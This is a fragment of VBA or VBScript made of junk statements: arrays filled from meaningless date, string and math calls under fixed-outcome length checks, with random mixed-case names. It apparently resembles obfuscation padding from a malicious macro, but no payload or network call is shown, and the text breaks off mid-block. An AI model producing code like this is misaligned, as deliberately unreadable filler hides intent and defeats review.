NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby(1) = LTrim("saYqyvUSygaByLyh") & "11"
NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby(2) = Day(125125)

If Len("NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby") < Len("saYqyvUSygaByLyh") Then
NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby(3) = Weekday(1251)
End If
If Len("piGeXEpaxUBAHEZuzUwBYFeSyfydUauJOLYSy") < Len("kEwafOMdIWaHIx") Then
Dim ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos(5)

If LenB("iKzyVitEry") < 6882 Then
ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos(0) = VarType(Sqr(688) + CInt("688"))
End If
ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos(1) = LTrim("iKzyVitEry") & "22"
ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos(2) = Day(688688)

If Len("ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos") < Len("iKzyVitEry") Then
ToZIZYRIviholoaSUJNyTenUSuLIXicaRaOHos(3) = Weekday(6882)
…